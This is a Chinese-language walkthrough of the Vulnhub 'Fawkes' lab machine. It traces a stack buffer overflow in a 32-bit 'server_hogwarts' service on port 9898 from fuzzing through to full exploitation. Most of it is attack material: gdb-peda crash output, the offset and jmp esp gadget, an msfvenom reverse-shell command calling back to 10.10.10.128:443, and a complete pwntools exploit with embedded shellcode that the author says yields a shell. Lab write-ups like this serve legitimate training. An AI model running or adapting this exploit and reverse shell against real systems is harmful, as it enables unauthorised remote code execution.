0x01Fawkes 靶机
1. 获取二进制文件
这台靶机的二进制文件获取比较简单,通过 ftp 服务使用 anonymous/anonymous 凭证登入可以得到一个 server_hogwarts 文件,再通过 file 命令可以知道这是 32-elf 文件。
2. 分析
用 gdb 导入 gdb-peda 分析
#启用gdb
gdb server_hogwarts
#导入gdb-peda
source /usr/share/gdb-peda/peda.py
A. 查看安全机制
使用命令 checksec 查看安全机制
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled
可以看到 CANARY 是开启的,说明这个程序有缓冲区溢出检测,不过我们还是需要实际测试一下,我们还需要看看这个程序具体是做什么的。
B. 具体调试程序
运行一下这个程序。
┌──(kali㉿kali)-[~]
└─$./server_hogwarts
运行完挂起了,不知道是做什么的。
尝试反编译一下
disassemble main
程序很长,不过注意到这里调用了 setsockopt 等类似函数,可能是监听程序?联系到之前 nmap 扫描扫到目标服务器开放了 9898 端口,有理由怀疑这个程序是 9898 端口程序的源代码。试着查看端口监听情况。
gdb-peda$ netstat -tunlp
-t:显示 TCP 连接-u:显示 UDP 连接-n:以数字形式显示地址和端口号(不进行 DNS 解析,也不将端口号转换为服务名)-l:仅显示监听状态的套接字(Listening)-p:显示使用该套接字的进程 PID 和程序名(需 root 权限才能看到所有进程)
lsof -i :9898
-i:选择列出与网络相关的文件:9898:指定端口号,只显示使用该端口的网络连接
┌──(kali㉿kali)-[~]
└─$ netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:9898 0.0.0.0:* LISTEN 6767/./server_hogwa
tcp 0 0 127.0.0.1:44211 0.0.0.0:* LISTEN -
能够看到确实是 server_hogwa 再监听 9898 端口
使用 nc 命令尝试连接
┌──(kali㉿kali)-[~]
└─$ nc 127.0.0.1 9898
Welcome to Hogwart's magic portal
Tell your spell and ELDER WAND will perform the magic
Here is list of some common spells:
1. Wingardium Leviosa
2. Lumos
3. Expelliarmus
4. Alohomora
5. Avada Kedavra
Enter your spell:
提示输入参数。
先在 gdb-peda 中生成一个测试字符串
gdb-peda$ pattern create 200
然后我们在 gdb 中启动程序
gdb-peda$ r
再用 nc 命令连接,并且输入先前准备好的测试字符串。gdb-peda 中报错并退出
gdb-peda$ r
Starting program: /home/kali/Vulnhub/Fawkes/server_hogwarts
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffc88c ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EBX: 0x41413741 ('A7AA')
ECX: 0xffffcb10 --> 0xa ('\n')
EDX: 0xffffc954 --> 0xa ('\n')
ESI: 0x80b3158 ("../csu/libc-start.c")
EDI: 0xffffce48 ("\nEnter your spell: ")
EBP: 0x6941414d ('MAAi')
ESP: 0xffffc900 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffffc900 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0004| 0xffffc904 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0008| 0xffffc908 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0012| 0xffffc90c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0016| 0xffffc910 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0020| 0xffffc914 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0024| 0xffffc918 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0028| 0xffffc91c ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
可以看到触发了段错误,并且成功覆盖了 esp
然后输入
pattern offset $eip
可以直接计算偏移量
这里我们的偏移量是 112
然后我们需要 jmp esp 这种跳转到 esp 的命令的地址
ROPgadget --binary ./your_vulnerable_program | grep "jmp esp"
ROPgadget --binary ./your_vulnerable_program --opcode ffe4
可以用这两条命令搜索,得到 0x08049d55 用于覆盖返回地址,来绕过缓冲区长度对 shellcode 的限制。
C. 利用脚本编写
修改模板程序,见缓冲区溢出
### 模板程序
from pwn import * # 导入 pwntools 所有功能
# 设置目标架构(影响 shellcode 生成等)
context.arch = 'i386'
# 启动目标进程(如果是远程就用 remote)
remote('127.0.0.1', 9898)
# --- 构造 payload ---
offset = 112 # 返回地址的偏移量
jmp_esp = 0x08049d55 # jmp esp 的地址
# 生成 shellcode(例如执行 反弹shell)
shellcode = shellcraft.connect('127.0.0.1', 443)
# 组装 payload
payload = b""
payload += b"A" * offset # 填充到返回地址
payload += p32(jmp_esp) # 覆盖返回地址为 jmp_esp
payload += b"\x90" * 32 # NOP 滑板(32个字节)
payload += shellcode # shellcode
# --- 发送 payload ---
# 假设程序先输出 "Input:",我们需要先接收再发送
p.recvuntil(b"spell:") # 等待提示符,spell:
p.sendline(payload) # 发送 payload
# --- 获得 shell ---
p.interactive() # 切换交互,获得控制权
再 在gdb-peda 中启动程序,监听 443 端口,然后运行 exploit 程序
程序报错退出,但是没有收到反弹 shell
猜测可能是坏字符导致的利用失败
D. 坏字符绕过
在远程环境中,因为各种网络协议,编码原因可能会导致有些字符无法使用,导致缺失。
详情见缓冲区溢出
使用 msfvenom 命令
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.128 LPORT=443 -f python -b "\x00\x0a\x0d"
去避免 \x00\x0a\x0d 等坏字符,这里是先避免了常见的一些坏字符,如果多次尝试失败,可能需要进行检测坏字符有哪些,详情见缓冲区溢出。
接着修改 exploit
### 模板程序
from pwn import * # 导入 pwntools 所有功能
# 设置目标架构(影响 shellcode 生成等)
context.arch = 'i386'
# 启动目标进程(如果是远程就用 remote)
p=remote('127.0.0.1', 9898)
# --- 构造 payload ---
offset = 112 # 返回地址的偏移量
jmp_esp = 0x08049d55 # jmp esp 的地址
buf = b""
buf += b"\xd9\xe5\xd9\x74\x24\xf4\xb8\xcc\xf8\x93\x17\x5a"
buf += b"\x2b\xc9\xb1\x12\x83\xc2\x04\x31\x42\x13\x03\x8e"
buf += b"\xeb\x71\xe2\x3f\xd7\x81\xee\x6c\xa4\x3e\x9b\x90"
buf += b"\xa3\x20\xeb\xf2\x7e\x22\x9f\xa3\x30\x1c\x6d\xd3"
buf += b"\x78\x1a\x94\xbb\x70\xd6\x6c\xbb\xed\xe4\x70\xba"
buf += b"\x56\x61\x91\x0c\xce\x22\x03\x3f\xbc\xc0\x2a\x5e"
buf += b"\x0f\x46\x7e\xc8\xfe\x68\x0c\x60\x97\x59\xdd\x12"
buf += b"\x0e\x2f\xc2\x80\x83\xa6\xe4\x94\x2f\x74\x66"
# 生成 shellcode(例如执行 反弹shell)
shellcode = buf
#shellcraft.connect('127.0.0.1', 443)
# 组装 payload
payload = b""
payload += b"A" * offset # 填充到返回地址
payload += p32(jmp_esp) # 覆盖返回地址为 jmp_esp
payload += b"\x90" * 32 # NOP 滑板(32个字节)
payload += shellcode # shellcode
# --- 发送 payload ---
# 假设程序先输出 "Input:",我们需要先接收再发送
p.recvuntil(b"spell:") # 等待提示符,spell:
p.sendline(payload) # 发送 payload
# --- 获得 shell ---
p.interactive() # 切换交互,获得控制权
成功获取 shell
将本地 ip 改为靶机 ip 也同样成功
Very good i like it